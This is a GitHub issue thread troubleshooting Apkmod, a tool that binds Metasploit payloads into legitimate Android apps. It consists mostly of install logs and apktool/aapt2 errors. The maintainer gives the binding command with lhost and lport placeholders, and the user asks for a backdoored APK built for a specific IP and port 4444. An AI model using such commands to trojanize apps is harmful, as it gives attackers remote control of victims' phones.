Hax4us / Apkmod

Apkmod can decompile, recompile, sign APK, and bind the payload with any legit APP
GNU General Public License v3.0
730 stars 98 forks source link

wron number of arguments #14

Closed nichu8 closed 5 years ago

nichu8 commented 5 years ago

*] Binding /storage/emulated/0/n8.apk Using APK template: /storage/emulated/0/n8.apk Error: wrong number of arguments (given 2, expected 3) [!] Try again with -a option But if still can't bind, take screenshot and open a issue on github Screenshot_20191021_092118

Hax4us commented 5 years ago

Provide all screenshots after running setup.sh script

nichu8 commented 5 years ago

sh setup.sh [!] Alpine is already installed Do you want to reinstall ? (type "y" for yes or "n" for no) : y --2019-10-21 17:49:43-- https://raw.githubusercontent.com/Hax4us/TermuxAlpine/master/TermuxAlpine.sh Resolving raw.githubusercontent.com... 151.101.8.133 Connecting to raw.githubusercontent.com|151.101.8.133|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 5796 (5.7K) [text/plain] Saving to: ‘TermuxAlpine.sh.2’

TermuxAlpine.s 100% 5.66K 8.67KB/s in 0.7s

2019-10-21 17:49:44 (8.67 KB/s) - ‘TermuxAlpine.sh.2’ saved [5796/5796]

[!] Alpine is already installed Do you want to reinstall ? (type "y" for yes or "n" for no) : y

You are going to install Alpine in termux ;) Cool press ENTER to continue

[] Checking host architecture ... [] Updating apt cache... [] Checking for all required tools... • proot is OK • bsdtar is OK • curl is OK [] Getting tar file...

5.2%curl: (56) Recv failure: Software caused connection abort

[*] Getting SHA ...

#################################################### 100.0%

[] Checking integrity of file... [] The script will immediately terminate in case of integrity failure alpine-minirootfs-3.10.2-aarch64.tar.gz: FAILED sha256sum: WARNING: 1 computed checksum did NOT match Sorry :( to say your downloaded linux file was corrupted or half downloaded, but don't worry, just rerun my script mkdir: cannot create directory ‘/data/data/com.termux/files/usr/share/TermuxAlpine/root/.bind’: No such file or directory proot warning: can't chdir("/home/.") in the guest rootfs: No such file or directory proot info: default working directory is now "/" proot error: '/usr/bin/env' not found (root = /data/data/com.termux/files/usr/share/TermuxAlpine, cwd = /, $PATH=(null)) fatal error: see proot --help. --2019-10-21 17:51:10-- https://github.com/hax4us/Apkmod/raw/master/aapt/aarch64/aapt.tar.gz Resolving github.com... 13.234.210.38 Connecting to github.com|13.234.210.38|:443... connected. HTTP request sent, awaiting response... 302 Found Location: https://raw.githubusercontent.com/hax4us/Apkmod/master/aapt/aarch64/aapt.tar.gz [following] --2019-10-21 17:51:11-- https://raw.githubusercontent.com/hax4us/Apkmod/master/aapt/aarch64/aapt.tar.gz Resolving raw.githubusercontent.com... 151.101.8.133 Connecting to raw.githubusercontent.com|151.101.8.133|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 19148800 (18M) [application/octet-stream] Saving to: ‘aapt.tar.gz’

aapt.tar.gz 100% 18.26M 144KB/s in 5m 14s

2019-10-21 17:56:28 (59.6 KB/s) - ‘aapt.tar.gz’ saved [19148800/19148800]

tar: /data/data/com.termux/files/usr/share/TermuxAlpine/usr/lib: Cannot open: No such file or directory tar: Error is not recoverable: exiting now mv: cannot stat '/data/data/com.termux/files/usr/share/TermuxAlpine/usr/lib/android/aapt': No such file or directory mv: cannot stat '/data/data/com.termux/files/usr/share/TermuxAlpine/usr/lib/android/aapt2': No such file or directory /data/data/com.termux/files/usr/share/TermuxAlpine/opt/apktool.jar: No such file or directory --2019-10-21 17:56:28-- https://github.com/hax4us/Apkmod/raw/master/apkmod.sh Resolving github.com... 13.234.210.38 Connecting to github.com|13.234.210.38|:443... connected. HTTP request sent, awaiting response... 302 Found Location: https://raw.githubusercontent.com/hax4us/Apkmod/master/apkmod.sh [following] --2019-10-21 17:56:29-- https://raw.githubusercontent.com/hax4us/Apkmod/master/apkmod.sh Resolving raw.githubusercontent.com... 151.101.8.133 Connecting to raw.githubusercontent.com|151.101.8.133|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 6360 (6.2K) [text/plain] Saving to: ‘/data/data/com.termux/files/usr/bin/apkmod’

/data/data/com 100% 6.21K --.-KB/s in 0.02s

2019-10-21 17:56:30 (362 KB/s) - ‘/data/data/com.termux/files/usr/bin/apkmod’ saved [6360/6360]

chmod: cannot access '/data/data/com.termux/files/usr/share/TermuxAlpine/usr/bin/aapt': No such file or directory chmod: cannot access '/data/data/com.termux/files/usr/share/TermuxAlpine/usr/bin/aapt2': No such file or directory --2019-10-21 17:56:30-- https://github.com/hax4us/Apkmod/raw/master/scripts/apktool_termux.sh Resolving github.com... 13.234.210.38 Connecting to github.com|13.234.210.38|:443... connected. HTTP request sent, awaiting response... 302 Found Location: https://raw.githubusercontent.com/hax4us/Apkmod/master/scripts/apktool_termux.sh [following] --2019-10-21 17:56:31-- https://raw.githubusercontent.com/hax4us/Apkmod/master/scripts/apktool_termux.sh Resolving raw.githubusercontent.com... 151.101.8.133 Connecting to raw.githubusercontent.com|151.101.8.133|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 404 [text/plain] Saving to: ‘apktool_termux.sh’

apktool_termux 100% 404 --.-KB/s in 0s

2019-10-21 17:56:32 (7.05 MB/s) - ‘apktool_termux.sh’ saved [404/404]

--2019-10-21 17:56:32-- https://github.com/hax4us/Apkmod/raw/master/scripts/apktool_alpine.sh Resolving github.com... 13.234.210.38 Connecting to github.com|13.234.210.38|:443... connected. HTTP request sent, awaiting response... 302 Found Location: https://raw.githubusercontent.com/hax4us/Apkmod/master/scripts/apktool_alpine.sh [following] --2019-10-21 17:56:33-- https://raw.githubusercontent.com/hax4us/Apkmod/master/scripts/apktool_alpine.sh Resolving raw.githubusercontent.com... 151.101.8.133 Connecting to raw.githubusercontent.com|151.101.8.133|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 99 [text/plain] Saving to: ‘apktool_alpine.sh’

apktool_alpine 100% 99 --.-KB/s in 0s

2019-10-21 17:56:34 (1.83 MB/s) - ‘apktool_alpine.sh’ saved [99/99]

--2019-10-21 17:56:34-- https://github.com/hax4us/Apkmod/raw/master/scripts/apk.rb Resolving github.com... 13.234.210.38 Connecting to github.com|13.234.210.38|:443... connected. HTTP request sent, awaiting response... 302 Found Location: https://raw.githubusercontent.com/hax4us/Apkmod/master/scripts/apk.rb [following] --2019-10-21 17:56:34-- https://raw.githubusercontent.com/hax4us/Apkmod/master/scripts/apk.rb Resolving raw.githubusercontent.com... 151.101.8.133 Connecting to raw.githubusercontent.com|151.101.8.133|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 10835 (11K) [text/plain] Saving to: ‘apk.rb’

apk.rb 100% 10.58K --.-KB/s in 0.1s

2019-10-21 17:56:35 (110 KB/s) - ‘apk.rb’ saved [10835/10835]

mv: cannot move 'apktool_alpine.sh' to '/data/data/com.termux/files/usr/share/TermuxAlpine/bin/apktool': No such file or directory --2019-10-21 17:56:35-- https://github.com/hax4us/Apkmod/raw/master/patches/msf-5.0.48/msfvenom.patch Resolving github.com... 13.234.210.38 Connecting to github.com|13.234.210.38|:443... connected. HTTP request sent, awaiting response... 302 Found Location: https://raw.githubusercontent.com/hax4us/Apkmod/master/patches/msf-5.0.48/msfvenom.patch [following] --2019-10-21 17:56:36-- https://raw.githubusercontent.com/hax4us/Apkmod/master/patches/msf-5.0.48/msfvenom.patch Resolving raw.githubusercontent.com... 151.101.8.133 Connecting to raw.githubusercontent.com|151.101.8.133|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 342 [text/plain] Saving to: ‘msfvenom.patch’

msfvenom.patch 100% 342 --.-KB/s in 0s

2019-10-21 17:56:37 (7.28 MB/s) - ‘msfvenom.patch’ saved [342/342]

--2019-10-21 17:56:37-- https://github.com/hax4us/Apkmod/raw/master/patches/msf-5.0.48/payload_generator.rb.patch Resolving github.com... 13.234.210.38 Connecting to github.com|13.234.210.38|:443... connected. HTTP request sent, awaiting response... 302 Found Location: https://raw.githubusercontent.com/hax4us/Apkmod/master/patches/msf-5.0.48/payload_generator.rb.patch [following] --2019-10-21 17:56:37-- https://raw.githubusercontent.com/hax4us/Apkmod/master/patches/msf-5.0.48/payload_generator.rb.patch Resolving raw.githubusercontent.com... 151.101.8.133 Connecting to raw.githubusercontent.com|151.101.8.133|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 979 [text/plain] Saving to: ‘payload_generator.rb.patch’

payload_genera 100% 979 --.-KB/s in 0s

2019-10-21 17:56:38 (18.9 MB/s) - ‘payload_generator.rb.patch’ saved [979/979]

$

Hax4us commented 5 years ago

5.2%curl: (56) Recv failure: Software caused connection abort

curl is not working so it's not a issue of apkmod. You should open an issue on termux repository

nichu8 commented 5 years ago

termux-info Updatable packages: All packages up to date Subscribed repositories: https://dl.bintray.com/xeffyr/unstable-packages-24 unstable/main https://dl.bintray.com/grimler/science-packages-24 science/stable https://dl.bintray.com/grimler/game-packages-24 games/stable https://dl.bintray.com/termux/termux-packages-24 stable/main System information: Linux localhost 4.9.148 #1 SMP PREEMPT Thu Jul 25 15:05:56 CST 2019 aarch64 Android Termux-packages arch: aarch64 Android version: 9 Device manufacturer: HUAWEI Device model: INE-LX1 $ curl --trace-ascii dump.txt -LO http://dl-cdn.alpinelinux.org/alpine/v3.10/releases/aarch64/alpine-minirootfs-3.10.3-aarch64.tar.gz % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:- 0 0 0 0 0 0 0 0 --:--:-- --:- 1 2563k 1 37324 0 0 31207 0 0:01:24 0:0 12 2563k 12 332k 0 0 150k 0 0:00:16 0:0 29 2563k 29 763k 0 0 238k 0 0:00:10 0:0 39 2563k 39 1002k 0 0 217k 0 0:00:11 0:0 47 2563k 47 1219k 0 0 234k 0 0:00:10 0:0 61 2563k 61 1569k 0 0 253k 0 0:00:10 0:0 75 2563k 75 1930k 0 0 268k 0 0:00:09 0:0 88 2563k 88 2274k 0 0 277k 0 0:00:09 0:0100 2563k 100 2563k 0 0 278k 0 0:00:09 0:0100 2563k 100 2563k 0 0 278k 0 0:00:09 0:00:09 --:--:-- 335k $ cat dump.txt | grep Info == Info: Trying 151.101.8.249:80... == Info: TCP_NODELAY set == Info: Connected to dl-cdn.alpinelinux.org (151.101.8.249) port 80 (#0) == Info: Mark bundle as not supporting multiuse == Info: Connection #0 to host dl-cdn.alpinelinux.org left intact $

Hax4us commented 5 years ago

Run setup script again and give screenshots

nichu8 commented 5 years ago

$ bash setup.sh [!] Alpine is already installed Do you want to reinstall ? (type "y" for yes or "n" for no) : y --2019-10-22 16:13:30-- https://raw.githubusercontent.com/ Hax4us/TermuxAlpine/master/TermuxAlpine.sh Resolving raw.githubusercontent.com... 151.101.152.133 Connecting to raw.githubusercontent.com|151.101.152.133|:44 3... connected. HTTP request sent, awaiting response... 200 OK Length: 5796 (5.7K) [text/plain] Saving to: ‘TermuxAlpine.sh’

TermuxAlpine.s 100% 5.66K --.-KB/s in 0s

2019-10-22 16:13:31 (13.3 MB/s) - ‘TermuxAlpine.sh’ saved [ 5796/5796]

[!] Alpine is already installed Do you want to reinstall ? (type "y" for yes or "n" for no) : y

You are going to install Alpine in termux ;) Cool press ENTER to continue

[] Checking host architecture ... [] Updating apt cache... [] Checking for all required tools... • proot is OK • bsdtar is OK • curl is OK [] Getting tar file...

#################################################### 100.0%

[*] Getting SHA ...

#################################################### 100.0%

[] Checking integrity of file... [] The script will immediately terminate in case of integ rity failure alpine-minirootfs-3.10.3-aarch64.tar.gz: OK [*] Extracting...

[*] Configuring Alpine For You ...

------------------------------------------

Now you can enjoy a very small (just 1 MB!) Linux environm ent in your Termux :) Don't forget to star my work

------------------------------------------

------------------------------------------

[] Email : lkpandey950@gmail.com [] Website : https://hax4us.com [*] YouTube : https://youtube.com/hax4us

------------------------------------------

NOTE : use --uninstall option for uninstall

------------------------------------------

fetch http://dl-cdn.alpinelinux.org/alpine/latest-stable/ma in/aarch64/APKINDEX.tar.gz fetch http://dl-cdn.alpinelinux.org/alpine/latest-stable/co mmunity/aarch64/APKINDEX.tar.gz fetch http://dl-cdn.alpinelinux.org/alpine/edge/testing/aar ch64/APKINDEX.tar.gz (1/40) Installing expat (2.2.8-r0) (2/40) Installing libbsd (0.9.1-r0) (3/40) Installing libpng (1.6.37-r1) (4/40) Installing libffi (3.2.1-r6) (5/40) Installing p11-kit (0.23.16.1-r0) (6/40) Installing libtasn1 (4.14-r0) (7/40) Installing p11-kit-trust (0.23.16.1-r0) (8/40) Installing ca-certificates (20190108-r0) (9/40) Installing java-cacerts (1.0-r0) (10/40) Installing libgcc (8.3.0-r0) (11/40) Installing nspr (4.20-r0) (12/40) Installing sqlite-libs (3.28.0-r1) (13/40) Installing libstdc++ (8.3.0-r0) (14/40) Installing nss (3.44-r0) (15/40) Installing libxau (1.0.9-r0) (16/40) Installing libxdmcp (1.1.3-r0) (17/40) Installing libxcb (1.13.1-r0) (18/40) Installing libx11 (1.6.8-r1) (19/40) Installing libxcomposite (0.4.5-r0) (20/40) Installing libxext (1.3.4-r0) (21/40) Installing libxi (1.7.9-r2) (22/40) Installing libxrender (0.9.10-r3) (23/40) Installing libxtst (1.2.3-r3) (24/40) Installing alsa-lib (1.1.9-r0) (25/40) Installing libbz2 (1.0.6-r7) (26/40) Installing freetype (2.10.0-r0) (27/40) Installing giflib (5.1.9-r0) (28/40) Installing libjpeg-turbo (2.0.2-r0) (29/40) Installing openjdk8-jre-lib (8.222.10-r0) (30/40) Installing java-common (0.2-r0) (31/40) Installing krb5-conf (1.0-r1) (32/40) Installing libcom_err (1.45.2-r1) (33/40) Installing keyutils-libs (1.6-r1) (34/40) Installing libverto (0.3.1-r0) (35/40) Installing krb5-libs (1.17-r0) (36/40) Installing lcms2 (2.9-r1) (37/40) Installing pcsc-lite-libs (1.8.25-r1) (38/40) Installing liblksctp (1.0.18-r0) (39/40) Installing openjdk8-jre-base (8.222.10-r0) (40/40) Installing openjdk8-jre (8.222.10-r0) Executing busybox-1.30.1-r2.trigger Executing ca-certificates-20190108-r0.trigger Executing java-common-0.2-r0.trigger OK: 83 MiB in 54 packages --2019-10-22 16:17:16-- https://github.com/hax4us/Apkmod/r aw/master/aapt/aarch64/aapt.tar.gz Resolving github.com... 13.234.210.38 Connecting to github.com|13.234.210.38|:443... connected. HTTP request sent, awaiting response... 302 Found Location: https://raw.githubusercontent.com/hax4us/Apkmod/m aster/aapt/aarch64/aapt.tar.gz [following] --2019-10-22 16:17:17-- https://raw.githubusercontent.com/ hax4us/Apkmod/master/aapt/aarch64/aapt.tar.gz Resolving raw.githubusercontent.com... 151.101.152.133 Connecting to raw.githubusercontent.com|151.101.152.133|:44 3... connected. HTTP request sent, awaiting response... 200 OK Length: 19148800 (18M) [application/octet-stream] Saving to: ‘aapt.tar.gz’

aapt.tar.gz 100% 18.26M 902KB/s in 23s

2019-10-22 16:17:42 (821 KB/s) - ‘aapt.tar.gz’ saved [19148 800/19148800]

--2019-10-22 16:17:43-- https://bitbucket.org/iBotPeaches/ apktool/downloads/apktool_2.4.0.jar Resolving bitbucket.org... 2406:da00:ff00::22cd:e0db, 2406: da00:ff00::22c5:2ef4, 2406:da00:ff00::22c3:9b0a, ... Connecting to bitbucket.org|2406:da00:ff00::22cd:e0db|:443. .. connected. HTTP request sent, awaiting response... 302 Found Location: https://bbuseruploads.s3.amazonaws.com/0becf6a1-1 706-4f2e-9ae6-891e00a8dd5f/downloads/f58a5e3e-1f26-4fac-924 8-c7fbbcafb6dc/apktool_2.4.0.jar?Signature=yvQWRJanMCp44Hj% 2BulBu00gVEis%3D&Expires=1571742737&AWSAccessKeyId=AKIAIQWX W6WLXMB5QZAQ&versionId=yunnWsCvddEZKJuYb.yEqaRP.qCUMBFO&res ponse-content-disposition=attachment%3B%20filename%3D%22apk tool_2.4.0.jar%22 [following] --2019-10-22 16:17:45-- https://bbuseruploads.s3.amazonaws .com/0becf6a1-1706-4f2e-9ae6-891e00a8dd5f/downloads/f58a5e3 e-1f26-4fac-9248-c7fbbcafb6dc/apktool_2.4.0.jar?Signature=y vQWRJanMCp44Hj%2BulBu00gVEis%3D&Expires=1571742737&AWSAcces sKeyId=AKIAIQWXW6WLXMB5QZAQ&versionId=yunnWsCvddEZKJuYb.yEq aRP.qCUMBFO&response-content-disposition=attachment%3B%20fi lename%3D%22apktool_2.4.0.jar%22 Resolving bbuseruploads.s3.amazonaws.com... 52.216.185.187 Connecting to bbuseruploads.s3.amazonaws.com|52.216.185.187 |:443... connected. HTTP request sent, awaiting response... 200 OK Length: 16314178 (16M) [application/x-java-archive] Saving to: ‘/data/data/com.termux/files/usr/share/TermuxAlp ine/opt/apktool.jar’

/data/data/com 100% 15.56M 929KB/s in 27s

2019-10-22 16:18:15 (582 KB/s) - ‘/data/data/com.termux/fil es/usr/share/TermuxAlpine/opt/apktool.jar’ saved [16314178/ 16314178]

--2019-10-22 16:18:15-- https://github.com/hax4us/Apkmod/r aw/master/apkmod.sh Resolving github.com... 13.234.210.38 Connecting to github.com|13.234.210.38|:443... connected. HTTP request sent, awaiting response... 302 Found Location: https://raw.githubusercontent.com/hax4us/Apkmod/m aster/apkmod.sh [following] --2019-10-22 16:18:16-- https://raw.githubusercontent.com/ hax4us/Apkmod/master/apkmod.sh Resolving raw.githubusercontent.com... 151.101.152.133 Connecting to raw.githubusercontent.com|151.101.152.133|:44 3... connected. HTTP request sent, awaiting response... 200 OK Length: 6360 (6.2K) [text/plain] Saving to: ‘/data/data/com.termux/files/usr/bin/apkmod’

/data/data/com 100% 6.21K --.-KB/s in 0.001s

2019-10-22 16:18:17 (7.85 MB/s) - ‘/data/data/com.termux/fi les/usr/bin/apkmod’ saved [6360/6360]

--2019-10-22 16:18:17-- https://github.com/hax4us/Apkmod/r aw/master/scripts/apktool_termux.sh Resolving github.com... 13.234.210.38 Connecting to github.com|13.234.210.38|:443... connected. HTTP request sent, awaiting response... 302 Found Location: https://raw.githubusercontent.com/hax4us/Apkmod/m aster/scripts/apktool_termux.sh [following] --2019-10-22 16:18:18-- https://raw.githubusercontent.com/ hax4us/Apkmod/master/scripts/apktool_termux.sh Resolving raw.githubusercontent.com... 151.101.152.133 Connecting to raw.githubusercontent.com|151.101.152.133|:44 3... connected. HTTP request sent, awaiting response... 200 OK Length: 404 [text/plain] Saving to: ‘apktool_termux.sh’

apktool_termux 100% 404 --.-KB/s in 0s

2019-10-22 16:18:19 (3.93 MB/s) - ‘apktool_termux.sh’ saved [404/404]

--2019-10-22 16:18:19-- https://github.com/hax4us/Apkmod/r aw/master/scripts/apktool_alpine.sh Resolving github.com... 13.234.210.38 Connecting to github.com|13.234.210.38|:443... connected. HTTP request sent, awaiting response... 302 Found Location: https://raw.githubusercontent.com/hax4us/Apkmod/m aster/scripts/apktool_alpine.sh [following] --2019-10-22 16:18:20-- https://raw.githubusercontent.com/ hax4us/Apkmod/master/scripts/apktool_alpine.sh Resolving raw.githubusercontent.com... 151.101.152.133 Connecting to raw.githubusercontent.com|151.101.152.133|:44 3... connected. HTTP request sent, awaiting response... 200 OK Length: 99 [text/plain] Saving to: ‘apktool_alpine.sh’

apktool_alpine 100% 99 --.-KB/s in 0s

2019-10-22 16:18:21 (942 KB/s) - ‘apktool_alpine.sh’ saved [99/99]

--2019-10-22 16:18:21-- https://github.com/hax4us/Apkmod/r aw/master/scripts/apk.rb Resolving github.com... 13.234.210.38 Connecting to github.com|13.234.210.38|:443... connected. HTTP request sent, awaiting response... 302 Found Location: https://raw.githubusercontent.com/hax4us/Apkmod/m aster/scripts/apk.rb [following] --2019-10-22 16:18:22-- https://raw.githubusercontent.com/ hax4us/Apkmod/master/scripts/apk.rb Resolving raw.githubusercontent.com... 151.101.152.133 Connecting to raw.githubusercontent.com|151.101.152.133|:44 3... connected. HTTP request sent, awaiting response... 200 OK Length: 10835 (11K) [text/plain] Saving to: ‘apk.rb’

apk.rb 100% 10.58K --.-KB/s in 0.08s

2019-10-22 16:18:24 (140 KB/s) - ‘apk.rb’ saved [10835/1083 5]

--2019-10-22 16:18:24-- https://github.com/hax4us/Apkmod/r aw/master/patches/msf-5.0.48/msfvenom.patch Resolving github.com... 13.234.210.38 Connecting to github.com|13.234.210.38|:443... connected. HTTP request sent, awaiting response... 302 Found Location: https://raw.githubusercontent.com/hax4us/Apkmod/m aster/patches/msf-5.0.48/msfvenom.patch [following] --2019-10-22 16:18:25-- https://raw.githubusercontent.com/ hax4us/Apkmod/master/patches/msf-5.0.48/msfvenom.patch Resolving raw.githubusercontent.com... 151.101.152.133 Connecting to raw.githubusercontent.com|151.101.152.133|:44 3... connected. HTTP request sent, awaiting response... 200 OK Length: 342 [text/plain] Saving to: ‘msfvenom.patch’

msfvenom.patch 100% 342 --.-KB/s in 0s

2019-10-22 16:18:25 (2.86 MB/s) - ‘msfvenom.patch’ saved [3 42/342]

--2019-10-22 16:18:25-- https://github.com/hax4us/Apkmod/r aw/master/patches/msf-5.0.48/payload_generator.rb.patch Resolving github.com... 13.234.210.38 Connecting to github.com|13.234.210.38|:443... connected. HTTP request sent, awaiting response... 302 Found Location: https://raw.githubusercontent.com/hax4us/Apkmod/m aster/patches/msf-5.0.48/payload_generator.rb.patch [follow ing] --2019-10-22 16:18:26-- https://raw.githubusercontent.com/ hax4us/Apkmod/master/patches/msf-5.0.48/payload_generator.r b.patch Resolving raw.githubusercontent.com... 151.101.152.133 Connecting to raw.githubusercontent.com|151.101.152.133|:44 3... connected. HTTP request sent, awaiting response... 200 OK Length: 979 [text/plain] Saving to: ‘payload_generator.rb.patch’

payload_genera 100% 979 --.-KB/s in 0s

2019-10-22 16:18:27 (12.7 MB/s) - ‘payload_generator.rb.pat ch’ saved [979/979]

$

Hax4us commented 5 years ago

Now do this cd $PREFIX/opt/metasploit-framework && patch -p0 -i payload_generator.rb.patch and give screenshot

nichu8 commented 5 years ago

$ cd $PREFIX/opt/metasploit-framework && patch -p0 -i payload_generator.rb.patch patching file lib/msf/core/payload_generator.rb

Hax4us commented 5 years ago

Now everything should work fine

nichu8 commented 5 years ago

another probelm

injection as /data/data/com.termux/files/usr/share/TermuxAlpine/root/.bind/output.apk [-] I: Using Apktool 2.4.0 I: Checking whether sources has changed... I: Smaling smali folder into classes.dex... I: Checking whether resources has changed... I: Building resources... S: WARNING: Could not write to (/root/.local/share/apktool/framework), using /tmp instead... S: Please be aware this is a volatile directory and frameworks could go missing, please utilize --frame-path if the default storage directory is unavailable W: res/drawable-v21/$avd_hide_password0.xml: Invalid file name: must contain only [a-z0-9_.] W: res/drawable-v21/$avd_hide_password_1.xml: Invalid file name: must contain only [a-z0-9.] W: res/drawable-v21/$avd_hide_password2.xml: Invalid file name: must contain only [a-z0-9_.] W: res/drawable-v21/$avd_show_password0.xml: Invalid file name: must contain only [a-z0-9_.] W: res/drawable-v21/$avd_show_password_1.xml: Invalid file name: must contain only [a-z0-9.] W: res/drawable-v21/$avd_show_password2.xml: Invalid file name: must contain only [a-z0-9_.] brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = 1): [/usr/bin/aapt, p, --min-sdk-version, 17, --target-sdk-version, 26, --version-code, 112000, --version-name, 1.1.2, --no-version-vectors, -F, /tmp/APKTOOL4638397601075390070.tmp, -0, png, -0, res/drawable-ldrtl-xxhdpi-v17/abc_spinner_mtrl_am_alpha.9.png, -0, res/drawable-xhdpi-v4/notification_bg_low_normal.9.png, -0, res/drawable-xhdpi-v4/notification_bg_low_pressed.9.png, -0, res/drawable-xhdpi-v4/notification_bg_normal.9.png, -0, res/drawable-xhdpi-v4/notification_bg_normal_pressed.9.png, -0, res/drawable-xhdpi-v4/vpitab_selected_focused_holo.9.png, -0, res/drawable-xhdpi-v4/vpitab_selected_holo.9.png, -0, res/drawable-xhdpi-v4/vpitab_selected_pressed_holo.9.png, -0, res/drawable-xhdpi-v4/vpitab_unselected_focused_holo.9.png, -0, res/drawable-xhdpi-v4/vpitab_unselected_holo.9.png, -0, res/drawable-xhdpi-v4/vpitab_unselected_pressed_holo.9.png, -0, res/drawable-xxhdpi-v4/abc_ab_share_pack_mtrl_alpha.9.png, -0, res/drawable-xxhdpi-v4/abc_btn_switch_to_on_mtrl_00001.9.png, -0, res/drawable-xxhdpi-v4/abc_btn_switch_to_on_mtrl_00012.9.png, -0, res/drawable-xxhdpi-v4/abc_cab_background_top_mtrl_alpha.9.png, -0, res/drawable-xxhdpi-v4/abc_list_divider_mtrl_alpha.9.png, -0, res/drawable-xxhdpi-v4/abc_list_focused_holo.9.png, -0, res/drawable-xxhdpi-v4/abc_list_longpressed_holo.9.png, -0, res/drawable-xxhdpi-v4/abc_list_pressed_holo_dark.9.png, -0, res/drawable-xxhdpi-v4/abc_list_pressed_holo_light.9.png, -0, res/drawable-xxhdpi-v4/abc_list_selector_disabled_holo_dark.9.png, -0, res/drawable-xxhdpi-v4/abc_list_selector_disabled_holo_light.9.png, -0, res/drawable-xxhdpi-v4/abc_menu_hardkey_panel_mtrl_mult.9.png, -0, res/drawable-xxhdpi-v4/abc_popup_background_mtrl_mult.9.png, -0, res/drawable-xxhdpi-v4/abc_scrubber_primary_mtrl_alpha.9.png, -0, res/drawable-xxhdpi-v4/abc_scrubber_track_mtrl_alpha.9.png, -0, res/drawable-xxhdpi-v4/abc_spinner_mtrl_am_alpha.9.png, -0, res/drawable-xxhdpi-v4/abc_switch_track_mtrl_alpha.9.png, -0, res/drawable-xxhdpi-v4/abc_tab_indicator_mtrl_alpha.9.png, -0, res/drawable-xxhdpi-v4/abc_textfield_activated_mtrl_alpha.9.png, -0, res/drawable-xxhdpi-v4/abc_textfield_default_mtrl_alpha.9.png, -0, res/drawable-xxhdpi-v4/abc_textfield_search_activated_mtrl_alpha.9.png, -0, res/drawable-xxhdpi-v4/abc_textfield_search_default_mtrl_alpha.9.png, -0, res/drawable-xxhdpi-v4/common_google_signin_btn_icon_dark_normal_background.9.png, -0, res/drawable-xxhdpi-v4/common_google_signin_btn_icon_light_normal_background.9.png, -0, res/drawable-xxhdpi-v4/common_google_signin_btn_text_dark_normal_background.9.png, -0, res/drawable-xxhdpi-v4/common_google_signin_btn_text_light_normal_background.9.png, -0, arsc, -I, /tmp/1.apk, -S, /data/data/com.termux/files/usr/share/TermuxAlpine/root/.bind/original/res, -M, /data/data/com.termux/files/usr/share/TermuxAlpine/root/.bind/original/AndroidManifest.xml] Error: Unable to rebuild apk with apktool [!] Try again with -a option But if still can't bind, take screenshot and open a issue on github $

Hax4us commented 5 years ago

Use option -a For example : apkmod -a -b yourapp.apk -o bind.apk lhost=yourlhost lport=yourport

nichu8 commented 5 years ago

still same error

Hax4us commented 5 years ago

Give your app , I will test

nichu8 commented 5 years ago

how can i send it

Hax4us commented 5 years ago

Upload it to GitHub or Google drive

nichu8 commented 5 years ago

https://drive.google.com/file/d/111UoHWPYmPuTCTeTAuDO7kZnTUPsNNrV/view?usp=drivesdk

Hax4us commented 5 years ago

https://drive.google.com/file/d/111UoHWPYmPuTCTeTAuDO7kZnTUPsNNrV/view?usp=drivesdk

Make it public , I can't download it

nichu8 commented 5 years ago

done

Hax4us commented 5 years ago

With option -a , It's working in my phone Screenshot_2019-10-23-10-57-30-844_com termux

So give screenshot to debug your problem

nichu8 commented 5 years ago

could you do ia as lhost= 193.161.193.99 , lport= 4444

nichu8 commented 5 years ago

and upload it to gdrive

Hax4us commented 5 years ago

Why don't you give screenshot so that I can ensure the reliability of apkmod

nichu8 commented 5 years ago

ok

nichu8 commented 5 years ago

Screenshot_20191023_115435_com termux

Hax4us commented 5 years ago

I don't know why it's still using aapt instead of aapt2 , so execute it and give screenshot sh -x $(which apkmod) -a -b play.apk -o player.apk lhost=yourlhost lport=yourport

nichu8 commented 5 years ago

which apkmod means?

Hax4us commented 5 years ago

Just copy paste whole command and edit your appname and lhost , lport

nichu8 commented 5 years ago

Screenshot_20191023_125951_com termux

nichu8 commented 5 years ago

Screenshot_20191023_125926_com termux

Hax4us commented 5 years ago

Ok so everything is fine from apkmod side , but wrong with metasploit. Can you give screenshots of following commands :

  1. ls ~
  2. cat $PREFIX/opt/metasploit-framework/msfvenom | grep aapt2
  3. cat $PREFIX/opt/metasploit-framework/lib/msf/core/payload_generator.rb | grep aapt2
  4. startalpine then inside alpine aapt2 version
nichu8 commented 5 years ago

$ cat $PREFIX/opt/metasploit-framework/msfvenom | grep aapt2 opt.on('--use-aapt2','Use aapt2 for recompiling') do opts[:use_aapt2] = true $ cat $PREFIX/opt/metasploit-framework/lib/msf/core/payload_generator.rb | grep aapt2

@!attribute use_aapt2

#   @return [String] use aapt2 or not
attr_accessor :use_aapt2
    raw_payload = apk_backdoor.backdoor_apk(template, generate_raw_payload, use_aapt2)

$ startalpine [root@localhost home]# aapt2 version Error loading shared library libprotobuf-lite.so.17: No such file or directory (needed by aapt2) Error relocating aapt2: _ZN6google8protobuf8internal14WireFormatLite11WriteUInt32EijPNS0_2io17CodedOutputS treamE: symbol not found Error relocating aapt2: ZN6google8protobuf8internal13OnShutdownRunEPFvPKvES3: symbol not found Error relocating aapt2: _ZNK6google8protobuf5Arena17OnArenaAllocationEPKSt9type_infom: symbol not found Error relocating aapt2: _ZN6google8protobuf8internal14WireFormatLite9WriteEnumEiiPNS0_2io17CodedOutputStre amE: symbol not found Error relocating aapt2: _ZN6google8protobuf8internal14WireFormatLite23WriteStringMaybeAliasedEiRKNSt7cxx 1112basic_stringIcSt11char_traitsIcESaIcEEEPNS0_2io17CodedOutputStreamE: symbol not found Error relocating aapt2: _ZN6google8protobuf2io16CodedInputStream27ReadVarintSizeAsIntFallbackEv: symbol no t found Error relocating aapt2: _ZN6google8protobuf8internal14WireFormatLite10WriteInt32EiiPNS0_2io17CodedOutputSt reamE: symbol not found Error relocating aapt2: _ZN6google8protobuf2io26CopyingOutputStreamAdaptorD1Ev: symbol not found Error relocating aapt2: 